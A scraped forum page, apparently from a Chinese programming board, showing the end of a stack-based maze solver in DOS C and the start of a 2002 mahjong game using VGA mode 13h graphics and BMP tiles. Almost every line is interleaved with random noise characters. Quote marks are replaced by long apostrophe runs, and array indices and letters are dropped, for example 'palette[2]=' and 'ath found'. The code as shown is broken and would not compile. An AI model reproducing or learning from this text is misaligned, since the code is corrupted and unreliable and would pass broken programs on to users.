4 f# r6 _' I, r$ _% d" c! ereturn TRUE;% z! B! ?: \* w' }* ~- s" \: Y6 d8 H) t
else return FALSE;+ l, s0 t8 p; ~3 H5 O4 L; g' n
} /* Pass */' c5 V2 K6 D# ^4 t+ o
void MarkPrint(PosType seat): s' k, K$ H& l; N8 E) {
/* Mark the position seat. */
( `9 U  i; d- U( {. ^* \. i5 y0 Q{
6 N  T5 }! D, A, H! C3 ~& Hmaze[seat.x][seat.y].mark=-1;4 \- q; E' s  E: ~
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
9 G; i5 o+ O4 {/ c9 ^% E7 h} /* MarkPrint */
. U8 Z2 F- u5 i; f7 Nvoid FootPrint(PosType curpos)
: b2 w6 n& R9 C5 @# {4 Q. t9 R) E/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
' f' f; t' l. W; M! D{
1 h# j6 P; H( |$ n: Ymaze[curpos.x][curpos.y].foot=1;
) ]4 p( \3 V$ t6 c% }* J} /* FootPrint */
; [( J- r& `: w2 q8 S) x; e, e$ aPosType NextPos(PosType seat,int di)! L9 b. a- J. k  J  m
{
/ |" {- Q9 A, D) k* oswitch(di)2 r7 ^' n/ ]! B6 J
{
6 @% g( @7 T. \- J* ocase 1: seat.y++; return seat; /* Eastward */
5 e# f2 G0 j+ _/ f3 rcase 2: seat.x++; return seat; /* Southward */
9 t, r1 h8 o& k/ h, R2 Lcase 3: seat.y--; return seat; /* Westward */$ w4 \4 k  [/ O& @& X
case 4: seat.x--; return seat; /* Northward */0 ?# D! x( m% }& u
default: seat.x=0; seat.y=0; return seat;
8 I9 R  Q( {- n+ r! W; j$ C' a}
: j6 I, s8 _6 N9 d4 Z, @+ @} /* NextPos */
6 g! s0 }8 @9 R) d
4 d3 K; v% k4 |  E/ U" C4 G0 r/* The key to the program. */4 s+ b( a- C! R8 w/ z' U
/* Pre: The maze array &amp; the startplace &amp; the endplace." `. c* l! U3 E
Post: Find the one traverse of the maze and perform the mazepath.
7 A( g; A3 _7 u0 g. |/ M$ y3 S7 mUses: The ADT stack class.3 T# g  u- c3 w1 |) x) B
*/! k. N- ^$ N! P! K% [3 R5 ?
Status MazePath(PosType start,PosType end), p2 Y( g4 d$ T$ V$ S
{
) P* L% y8 U6 F( f9 bPosType curpos;
! U. L5 Z, l' {3 [4 lint curstep;
$ M# i! ^5 A# K6 L- _SElemType e;
) L5 i- ~5 \5 ^Stack *s,stack;: Q& S8 j0 ^/ G6 i, o; j: H5 u( a
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
* z% q4 D- {. {  r$ ^if(!stack.base) Error("Overflow");; d; Z% c+ E: b  _! i3 E) C8 k
stack.top=stack.base;7 u2 R  ?. G6 p; [: t) A) @
stack.stacksize=STACK_INIT_SIZE;
5 z+ q/ j6 b, c& E7 @' i* `5 Zs=&amp;stack;
( {3 E& _  U" A: L% I) }curpos=start;8 P1 b* ]. }% w/ B8 H' f! S0 j
curstep=1;
1 |  x! b2 D0 Rdo  P  @# k0 A. ^8 S9 a
{2 v! Z4 u; s4 a7 V$ Q+ G# f1 g
if(Pass(curpos))
9 R, J' ?0 |0 g* r, p{
" C5 {: ]( P  ?& IFootPrint(curpos);& b: F2 V) N0 M
e.ord=curstep; e.seat=curpos; e.di=1;
  X- q8 P+ q4 s5 b0 L% r# ^9 E+ kgotoxy((curpos.y+1)*2,curpos.x+2);
. @7 B! T8 y; }putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
, E$ J7 p# @" q: W; c7 wdelay(8000); /* pospone time. */
7 s6 w9 V+ E/ ]* q" o" |! P" ~Push(s,e);( v7 Z$ [% O) O( b
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
+ Y! x. T7 U5 N+ e3 d{% S2 ?( U3 R) P$ e% m
DestroyStack(s);
- B) F) [  n- U* e( u5 Treturn TRUE;
& E8 l/ t. b4 l0 ?1 z3 `5 H}
  x' ^. h% w1 y" @* V. h2 Mcurpos=NextPos(curpos,1); /* Try next position. */
3 y  w5 S2 f' R3 j, ^curstep++;! p9 ^" l: i2 \+ y5 U  Z
}
8 U8 L8 @0 s; selse& I# N$ ?8 W5 t- E
{
$ {0 ]& m' j% }! }if(!StackEmpty(s))3 ~( s. i, [8 @
{. G, i0 X2 `; V5 w2 c. _' ?* t
e=Pop(s,e); /* Removed e from s. */
2 w6 P3 ?5 ?3 @! j4 L' m% m2 twhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
7 ?! M/ r' W/ nand s is not empty. */
; v: ?" n0 v3 W* D{% N# c* M! D, {9 E
MarkPrint(e.seat);
: Q$ A( u) H9 _; i! f% d1 L: C0 G# Jgotoxy((e.seat.y+1)*2,e.seat.x+2);
- t" ^8 C* Q& G, Jputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');8 x9 y) S. V; u5 M$ h( U5 J
delay(8000); /* Pospone time. */
1 q8 J' ~9 o& V/ q7 i9 B( Q4 r! Jgotoxy((e.seat.y+1)*2,e.seat.x+2);4 q- @' K* A; Q; B
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');5 o1 c. m# [2 m8 S+ a* t* J
e=Pop(s,e); /* Remove e from s. */( r$ L) Q* [4 M" P
curstep--;
; y+ {5 S7 I) R' ?}0 @5 B3 N5 [% G
if(e.di&lt;4) /* The current position hasnot been checked. */
3 g% _9 \, t) |3 t! h. u{( @( L: o& v) A, M
e.di++;
7 @; z. c+ v8 \2 bPush(s,e); /* Insert e into s. */
& I0 I4 W4 @5 F- L6 s9 F+ kcurpos=NextPos(e.seat,e.di); /* Try next position. */
6 W. X4 w( m* b7 l}
# n: s$ p+ V6 V}0 E+ ]; J, _9 L+ X& R5 c; F
}- H, s- q  b) W
}
+ l9 j( B0 m& B. E- O- lwhile(!StackEmpty(s));* M9 ^  N, U9 V- w+ L: o
DestroyStack(s);4 J3 B' n3 C, g7 O
return FALSE;1 u- e, r5 b& T; n( h" R" z
} /* MazePath */: E* b( j; b: A" R5 A: f
void main()
9 u* c! P) w$ @  l! p* v# w+ a; ^{( o! R" a6 d0 {/ d& D% @
PosType start,end;
6 ~7 O8 L+ l( i- d. d& pCreatMaze();
% t4 I2 u; W2 a9 N7 mstart.x=StartPlace.y;$ s7 E9 m+ i' h& B
start.y=StartPlace.x;) O' J& R' `1 z
end.x=EndPlace.y;' ?( }7 x3 e9 h7 B* Z
end.y=EndPlace.x;, y! g$ r1 Z! J( b7 o0 i) i& U
if(MazePath(start,end))
% x9 m( a! d+ w. Q" G{
; z2 q) p5 U7 f7 z& y* ~0 B0 Vgotoxy(2,22);
+ ^% t: _0 d  p/ A! L$ Rprintf("ath found\n");
# z$ A% S3 g! N' M& Q3 p! Q9 [}
! Y* E. Y  y- \) v8 kelse' G) d1 }0 W$ H9 q- m! @" }1 P) ^
{- q$ X2 c( J% p
gotoxy(2,22);& Q, e1 A3 `0 }" x# v+ q5 [
printf("ath not found\n");  s; y8 }7 h/ c  C% n& l
}
2 M7 f4 D7 E( Z: ~& ?/ Tgetch();5 S  n* @; [# b2 @3 x2 l& n
clrscr();/ b, L, }; G0 k8 Y$ h
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传) v: q. N9 s: O% L$ g7 L
/*天宇软件
* ~1 Y. K3 h7 v, ?8 @3 x1 t; Y作者:上海黑暗之龙0 x% u6 c5 @# n! Y- D
2002/10/30* r( a* G  Q! ?- o7 G* y% D" S
麻将原代码*/
( O) X0 N( Y% ]% `, O1 G#include "dos.h"' e3 ?, ?9 I/ x* J6 V: K
#include "stdio.h"* s9 f6 X1 Q/ i; m  n
#include "graphics.h"
! H/ Q% F9 y4 ?* o, i4 g#include "bios.h"
9 \. _3 l& Y0 Y+ M/ ~; y#include "conio.h"
) V5 I  {5 ^# ~, x* S#include "stdlib.h"
4 R0 H  D% `8 H' t" uunsigned char far *video_buffer=(char far *)0xA0000000L;: `& O9 G' l  P( g
#define VGA256 0x13 /*图形模式13h*/% L' R! V2 c/ L) x
#define TEXT_MODE 0x03 /*普通文本模式*/3 W$ H& J" y6 y
#define SETVGA Set_Video_Mode(VGA256)
# h/ T! t* G8 ^8 Q) H& `3 R#define OUTVGA Set_Video_Mode(TEXT_MODE)
  S' ~& M' H4 G1 r- z. S3 J4 M7 T#define BYTE unsigned char' A  ]. g/ t2 [. X7 g$ Y
#define WORD unsigned int
: t- G3 s2 [1 m) Y" E  Z#define DWORD unsigned int" M% e% f+ _3 ~0 e# k/ ]$ e
#define ESC 283
" C. {! y, g* W. A' o#define LEFT 192004 Q: k+ z: c2 e5 {* _& ?# s- \
#define RIGHT 19712' p8 e# ~" j, ^
#define H 9064
& E8 D& X! y& V4 g. r/ V+ m! G6 l8 M#define ENTER 7181
" O1 T5 ]! W, r& P- j& @unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
- l+ [$ r! x: ^5 Zint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
- c  ?& e0 b$ q( |. I! Zstruct chi. q8 A$ J4 S1 w2 M3 u6 d8 e, J
{
2 q+ d7 m) c/ i) u- n% Q  _8 Iint lg;: V% S2 z8 m# h/ }
int lgg;1 F/ k9 C7 s5 w2 e6 r8 |' L
}ch[13];
/ u7 T9 C* z& T/ `+ h6 astruct mj! t8 S* H& Y; x9 m$ L
{ char *name; /*名字*/
- q, l3 {* C- s6 ?  Wint data1; /*是否已出,无用了*/
3 a/ I& a& U, G/ ~3 c3 hint data2; /*是否在手中,1为自己,2为对方*// s5 N7 _& t9 {0 P
int number; /*同一个花色的第几张,共4张*/
' ?9 O6 _3 {7 g  {}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,! v% q# j# h# ~1 _
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
3 }5 V8 l" a' m2 o# Q"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
) P. J! h9 i  r4 K"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
3 C, m% x) S& i"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,3 l0 T# m, M+ i
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,, p1 ^: u  Y" G
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,- @4 W9 H$ A9 y$ U) R
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
& H) ]# x1 N: b) S% z"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
7 q$ l7 G( e, C% K"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,: k1 I; [# ^7 ^6 P2 ^; `
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,0 \% J# H! q6 c$ k* C
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,+ {( a, C4 r) m! e
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,- x! C; a: I, o- m- t
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,, T0 J5 [3 s' A+ _
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,) n0 ~" ~+ s- k* L/ E8 G$ ]: \
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
( d. S' N# S  r"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,6 b8 ], |% n3 u
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
, |' Q. P3 |0 y* Y3 S5 C"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,6 N- x2 ]  m" R6 ]1 M
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,( B% k/ [* |, r% K; M0 c1 M  q6 _
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,( _$ K$ H9 r7 o. q4 A
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,# w; U  I# z, x( {
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
" E7 j" f! q7 B7 k1 M"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,1 D! b% k/ U" m) C3 K  k% c
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
- j7 ~" b' U, X2 v"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,+ r6 F( I+ i2 b7 }$ g( m
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
. y: Q8 B: H1 |! d"34.bmp"};
& Y6 ~( F+ R7 a7 l: wstruct every# h- v7 @$ H; u5 V3 w- v9 j$ J
{ int *k; /*名字*/% |; U* [. C. K, r( x4 o
int oneorfour; /*同一张牌的第几张*/3 i! s( D1 R4 e
int number; /*第几张牌136*/3 X) Y7 h8 i( |$ j* j# v  k
int p;0 q- }# j3 L, ]9 V" j, ~$ D
int g;
9 V- \, R) p) ]0 ?) iint c;
7 D2 i: ^8 [- |2 }+ L3 l3 Fint d[2];
1 d* _1 D% ~6 F: _) T" m. s};
& e3 A$ c; x# n! T1 [struct me
) z2 T6 E! M2 k0 {) b0 ], r{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
5 B8 v" ~" R8 x$ R7 x4 @/ Kint p; /*乓对方*/6 y! R1 `9 V# i. S3 J
int c; /*吃对方*/
# Y' b' W. O$ Qint g; /*杠*/
! `7 W, @5 N% O& d4 m. Z4 t$ `+ J9 {( H: Z& R
struct every pp[14]; /*存放手上的牌*/
" x6 r  w! ]9 [+ L* W: H}me;
; P) ?7 ?, H3 qstruct computer
) \: ~9 [9 W% Y{ int m;
! b7 r" X3 D; Mint p;
% W% w* o& B: I. Eint c;
' R& I  ^4 h7 t' h+ @int g;
" A+ \; }0 c% d) @, n) i% sstruct every pp[14];
, N, F+ `: k* V; ?" m- _9 L}computer,comp;
: |, H9 i# G. h; e2 B/ a% S% Z8 H9 g& i1 t
/* 设置调色板 */6 B; O* j% J* n$ n+ \
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)# L3 _0 I1 d# Y- \
{
; i0 z( [5 f. o  O: A4 V& _* ooutportb(0x3c8,Color); /*0x3c8写端口 写色号*/
# g5 |/ s9 A4 Y* Ooutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/# L0 Z) C- P9 \8 J
outportb(0x3c9,g);3 y' M# l/ F+ S. L5 F
outportb(0x3c9,b);# \% D/ V! H1 e- Y5 R
}
3 u4 B6 _( y+ e! f/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
- S* l  o8 U  p/* 设置显示模式的函数 */
" \- w  h( T* F; Bvoid Set_Video_Mode(int mode)4 S3 D$ t! y* ~
{5 S* G. q5 |% N( h0 l6 D( s; E% n
union REGS inregs,outregs; /*定义输入和返回寄存器*/
7 v( p% Y1 y9 x1 c  X# Hinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/) s( K! Z" s- Q8 z0 g2 Y5 f9 p
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
1 s; V. r# {& z! \0 u3 ]int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
, m) }: w/ Y( \8 F6 P( Z3 ]+ A) o* v+ n}* O7 F$ ?+ D- r% ~3 X0 J% X' x
void v_line(int y0,int y1,int x,unsigned int color)
- i2 c. B+ d& I0 _2 h+ f{ unsigned int address,n,temp;
5 _+ L$ t0 n0 r1 S+ o$ hif(y0&gt;y1)
$ B# D' q  z6 v0 J5 @4 c$ d{
* j# F( _3 s2 J6 V" stemp=y1;
9 `: O- |( E& N' |7 ~: ty1=y0;
2 B: m9 U; K" R' O7 Dy0=temp;
7 C; V9 C4 ~6 q}
6 I* F$ v" O2 q( @( Zaddress=320*y0+x;
9 D! A7 j$ d7 }  o* H6 u4 Hfor(n=0;n&lt;=y1-y0;n++)& @6 }6 H- i0 A
{
& ~! b, p/ p6 T# C6 }5 Avideo_buffer[address]=color;
# o+ g3 G2 b8 A% Q9 f! }1 Taddress+=320;
. [% s$ \$ K! I# g: I3 U}
9 |. r5 M( J/ f/ x* h+ G}8 K6 o; Y; |9 Y0 x3 R
void h_line(int x0,int x1,int y,unsigned int color)
9 u& L9 T- B: O, e4 g& i{ unsigned int address,n,temp;+ h! ^% R. g  k4 `# O/ M
if(x0&gt;x1)
; j6 y+ J- p/ z{
6 A- U% ^: K4 Wtemp=x1;
4 h- R4 [& C: O4 t7 S. H  p+ T8 Ox1=x0;
8 A/ s" _% P% c; w! T0 Vx0=temp;
2 ~* g0 U% w. u# K' r% K1 Q4 {& X}
- q% \' T% I" |9 ]% raddress=320*y+x0;
' ^9 s$ [* a8 I& r# y- |% N  \for(n=0;n&lt;=x1-x0;n++)
+ s2 A3 K0 n* P& K# ], j, R{
! N; R! v5 n; T- q& _4 vvideo_buffer[address]=color;
8 b: \, t* c# R) k  u8 {/ W" R8 t8 faddress+=1;! @/ x7 M6 l2 E+ _) Z- P% _& U7 E% ]
}
8 Z) h$ N, x/ y}4 K9 E2 z: @6 q6 j4 Y: ^* J
void p_pixel(int x,int y,unsigned int color)
7 d1 ?5 |) k6 \( ?{ video_buffer[y*320+x]=color;. I( A& u1 X8 a6 i8 L! V
}% F* Z/ h! t1 W5 E7 X9 E: O
void s_square(int x,int y,int side,int color)
2 g4 N- R- r  k  ~) |{
0 ^% J' m3 b' A% h% ^& ?# [h_line(x,x+side,y,color);4 n; p/ c( Q: c, d
h_line(x,x+side,y+side,color);
" o( ?# h1 W/ F7 w5 ~  Tv_line(y,y+side,x,color);
+ T. w8 V& j( H0 t' rv_line(y,y+side,x+side,color);: a; l) u' {+ k
}
. m% b6 U4 A6 t) L9 R: i. nvoid r_rectangle(int x1,int y1,int x2,int y2,int color)) V6 P+ W! k  w1 Z$ n' h! G
{3 [8 h* u7 Y# J+ l/ `6 _
h_line(x1,x2,y1,color);
0 X# Z, L  D$ q1 \- p7 bh_line(x1,x2,y2,color);
* p) _, O% n/ vv_line(y1,y2,x1,color);" v9 h4 _7 }4 \3 m5 E' `
v_line(y1,y2,x2,color);
9 P) L' ~4 g! n/ A}0 l6 O' d1 d% V! X0 D2 A
void fillRectangle(int x1,int y1,int x2,int y2,int color)
* ~/ N- B# M6 R: \% S$ U{, [( a5 Q' n  }0 Q
int i;
( N+ j- `$ |# cfor(i=y1;i&lt;=y2;i++): h- R( s; q9 u* l8 Y
{
* l; {2 c7 I+ l' M4 @& f0 x; n+ M) ^' Bh_line(x1,x2,i,color);
' a. \- \( Q# s' ]# D: Q+ Q3 \}+ {- l& ?& H8 n0 @, A
}
5 ^6 i( t3 t- f+ c$ P2 qvoid showbmp(int l)( @2 Y  Y) x* l' K5 p
{ FILE *bmp;- r+ a' j( m% J" z1 X( T
int i,x,y;
5 A! W7 {! q& ]1 M' A' rBYTE palette[256][3];
' d, k  r. C* ~& n7 d: cbmp=fopen(me.pp[l].k,"rb");! o% \7 _5 Y. e/ T7 y
fseek(bmp,54,SEEK_SET);
! M6 `' q" z* a: Y$ ~2 ifor(i=0;i&lt;256;i++)
3 K- Z# R8 L3 U! b) E{
0 X! e1 U. z0 g9 Q3 L3 [palette[2]=fgetc(bmp)&gt;&gt;2;3 u2 D0 b0 ?8 G( }
palette[1]=fgetc(bmp)&gt;&gt;2;
! N6 q/ e% t+ v# X2 U% E; b0 M( ?palette[0]=fgetc(bmp)&gt;&gt;2;9 u3 V+ U* c% `! f7 x
fgetc(bmp);: h( e) J4 H* I: l6 N# J
Set_Palette(i,palette[0],palette[1],palette[2]);
- H/ ?0 b, E% P, K% H# b}7 ^/ V1 n# g! l
for (y=0;y&lt;30;y++)
% s# L: z, i$ o# k: ^for(x=0;x&lt;20;x++)
8 D$ e1 R& t7 g$ d- jpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
) d% i, K2 H3 N. o: Ffclose(bmp);
& K* P5 o) ]- ^! R3 _8 O}
& ]* o4 T: g/ n9 ]: \( }" bvoid showbmpd(int l)- D8 l, P0 b" \) ]4 N6 ^* d) `
{ FILE *bmp;3 Y- V* S8 C0 ~, T* c8 R, F
int i,x,y;
; `, ]' u: B7 w: UBYTE palette[256][3];
+ T% P: M4 B; O8 L6 Xbmp=fopen(me.pp[l].k,"rb");
6 t3 S- \! K- u2 o+ Zfseek(bmp,54,SEEK_SET);+ P- a6 A6 W# \' `. {
for(i=0;i&lt;256;i++)/ P% n' y7 j$ O
{
, X" V: o+ {- C. w  {9 B+ a+ opalette[2]=fgetc(bmp)&gt;&gt;2;; r' A" Q& n" x! @
palette[1]=fgetc(bmp)&gt;&gt;2;
6 y: ]. x2 g& F1 I5 S* @/ qpalette[0]=fgetc(bmp)&gt;&gt;2;
& T/ z: @; P; |$ G6 S% ?fgetc(bmp);
0 |  C  S% y* S) f8 M+ aSet_Palette(i,palette[0],palette[1],palette[2]);( }$ p3 I4 X  \9 f' D0 ]' o! q
}1 b& h5 l8 i4 u, z2 u6 s) C
for (y=0;y&lt;30;y++)8 V; y1 i8 W1 O
for(x=0;x&lt;20;x++)# K3 s& u8 S5 b& X
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
( F* g8 Y' W3 k5 {: U8 Sfclose(bmp);
) @0 v, ]6 `7 C1 z  c}" u% ?; `9 n8 g4 V' c) O
void showybmp(int ll). |' j- ?$ b9 q3 ?  t. A
{ FILE *bmp;
, u: o9 q4 f! g8 b2 Mint i,x,y;
& |+ N, \6 u% r5 U& a( iBYTE palette[256][3];. S+ [- W4 i7 j; [7 t
bmp=fopen(computer.pp[ll].k,"rb");
$ N. c8 y5 ?# [fseek(bmp,54,SEEK_SET);
. U+ K7 `8 \, J- {0 Ofor(i=0;i&lt;256;i++)
6 [+ o/ r3 W: q+ t- N{
: @* e& v  E# Y& d& V+ d) ?; U& Tpalette[2]=fgetc(bmp)&gt;&gt;2;$ o/ Y# a% |0 p8 e% W2 K, k4 e3 k
palette[1]=fgetc(bmp)&gt;&gt;2;
+ e& e- j( B( l1 D6 Epalette[0]=fgetc(bmp)&gt;&gt;2;6 x, t6 j+ t2 N& `+ z
fgetc(bmp);2 Y7 _* F0 v7 h* U0 {" O7 V
Set_Palette(i,palette[0],palette[1],palette[2]);1 c+ j' j% }" ^8 S4 P! ]$ b
}
2 Y3 d7 Z# E7 ]for (y=0;y&lt;30;y++)
0 i- O% F2 |2 n  B/ Yfor(x=0;x&lt;20;x++)
0 B5 }0 G3 e2 h/ Q7 o$ f9 M5 H$ h% Jpokeb(0xa000,y*320+x+zy,fgetc(bmp));
! f* z( {, [* L) t5 |2 l* Rfclose(bmp);4 j1 t0 ?5 B# U2 t7 D. \0 X% R
}7 i  s- S' M$ s/ L
void showcbmp(int ll)5 G; }! p) \, q0 w0 {+ u
{ FILE *bmp;( ?6 [8 m1 k* K& n: t. B3 C
int i,x,y;
) o! l" Y+ f$ e0 v0 VBYTE palette[256][3];
6 ]- s0 t& W9 z9 U% V6 |bmp=fopen(computer.pp[ll].k,"rb");% b/ R6 @; S8 b3 M
fseek(bmp,54,SEEK_SET);4 ^& g3 X3 |$ ?4 c- k0 ], \
for(i=0;i&lt;256;i++)
. f# q; r' |! \/ S0 _$ Z/ m% u{! ?* c( i+ K" |. W0 a
palette[2]=fgetc(bmp)&gt;&gt;2;
# ?3 ^: `+ B. \1 A9 k2 {palette[1]=fgetc(bmp)&gt;&gt;2;- c- O" Y) B, b# P# [2 A; S
palette[0]=fgetc(bmp)&gt;&gt;2;1 g; E. i  B* U4 g
fgetc(bmp);, }7 d3 v; }; @: F3 o9 ]6 f6 D7 m
Set_Palette(i,palette[0],palette[1],palette[2]);' R( c; P9 V. l  s
}+ p# j0 U) I4 S- d3 _
for (y=0;y&lt;30;y++)
$ ]8 @1 U* T, m% s5 W- jfor(x=0;x&lt;20;x++)
8 D7 `6 W- m- B* B) y( ?pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
; s0 q0 t; a4 w, k; w6 C8 N0 F1 C, A6 V7 Dfclose(bmp);
% F* s% C) E9 L; N* ^}
! o+ G! M, d6 Svoid bmpp(int number)
; ^0 k% }# J7 W{ FILE *bmp;
2 n3 @; z$ h8 V" U/ ^, ]0 j) xint i,x,y;
2 t- ~' {* t9 H% Y% D6 GBYTE palette[256][3];8 m+ \' m2 r: O$ D! l& h7 W
bmp=fopen(m[number].name,"rb");/ w, u4 V* \8 q; `: S! x
fseek(bmp,54,SEEK_SET);
) Q. d' a/ l$ V( s) zfor(i=0;i&lt;256;i++)
; ~; f0 i- L" j- w9 p8 Q{5 k) i! b: f) |9 t& b: _" E/ B
palette[2]=fgetc(bmp)&gt;&gt;2;. c9 U. c1 Y* ~+ F3 ]; H$ c
palette[1]=fgetc(bmp)&gt;&gt;2;9 X4 G  X) j, `7 ?& g' B
palette[0]=fgetc(bmp)&gt;&gt;2;( K/ z) s  s, _% g$ a
fgetc(bmp);
- a7 X3 A$ P6 h; g) }) SSet_Palette(i,palette[0],palette[1],palette[2]);
1 H# o2 h" Y. c9 d' N4 Z- a5 V}
  }& y& K" L0 z$ }' c3 @for (y=0;y&lt;30;y++)
/ h: j( [; R1 t* T! lfor(x=0;x&lt;20;x++)
0 q: x. O+ u- J; b2 ypokeb(0xa000,y*320+x+zl,fgetc(bmp));
5 d6 r: I" n8 n; q2 z4 |) p9 Kfclose(bmp);1 H8 O. V2 Y+ e% e$ D3 W
}
, |' E8 V8 n1 w7 u3 x2 {void comlipai() /*整理电脑的牌*/
8 p, S5 ~9 g2 p( I+ }0 M' M; C{ int n,j,u;/ [0 S" g! J/ y3 e5 F  d& E
int *lingshi;
4 C" S5 R/ w3 j1 C# jfor(n=0;n&lt;computer.m;n++)1 A8 _% {3 d3 S$ c  R5 I, f! e% z
for(j=n;j&lt;computer.m;j++)
0 d8 J" q$ X& [7 B* G5 p{0 I4 W/ q  Y- i4 B# V6 t. K& G7 ^
if(computer.pp[n].number&gt;computer.pp[j+1].number)% l9 J' H" s7 ]0 N' R. U) ^
{
. `  D" y2 D3 O8 A4 q1 Ilingshi=computer.pp[n].k;
: \. n0 Z5 P; Z# T5 n8 wcomputer.pp[n].k=computer.pp[j+1].k;
& l) l& F1 c+ k$ Q+ r2 p8 q2 Wcomputer.pp[j+1].k=lingshi;4 @' M$ H1 G7 G2 Z0 o  Q
u=computer.pp[n].oneorfour;
& S* ^( t7 \4 ]+ acomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;0 r$ |) V6 {2 S: k
computer.pp[j+1].oneorfour=u;
4 x" g* o' G' j3 m) M: qu=computer.pp[n].number;  r& w3 y& k$ F- g
computer.pp[n].number=computer.pp[j+1].number;  T2 a) h, ?7 f) W3 I
computer.pp[j+1].number=u;
% i$ y* r1 _. g}8 b/ b" G% e9 e, O  m
else
, m3 U0 `0 y: ^; s6 h2 C+ tif(computer.pp[n].number==computer.pp[j+1].number)
/ t* R! |; p; G3 c4 ^: W) ^0 oif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
8 @/ h- B$ ~. p{
& u# f/ M: L: Y' k, X% i: f1 L4 Vlingshi=computer.pp[n].k;. J; @" z6 S  i1 _. [
computer.pp[n].k=computer.pp[j+1].k;# S! n3 {  P& h0 c7 b9 F# k$ o
computer.pp[j+1].k=lingshi;
7 G' ?# Q, Z. q+ s; Vu=computer.pp[n].oneorfour;
7 `! x* z; k1 G) T! O- P% v) Ucomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
+ v, T, Y8 b- ?) Ucomputer.pp[j+1].oneorfour=u;
' Z* V2 _% k+ Z' ^/ ^5 ou=computer.pp[n].number;
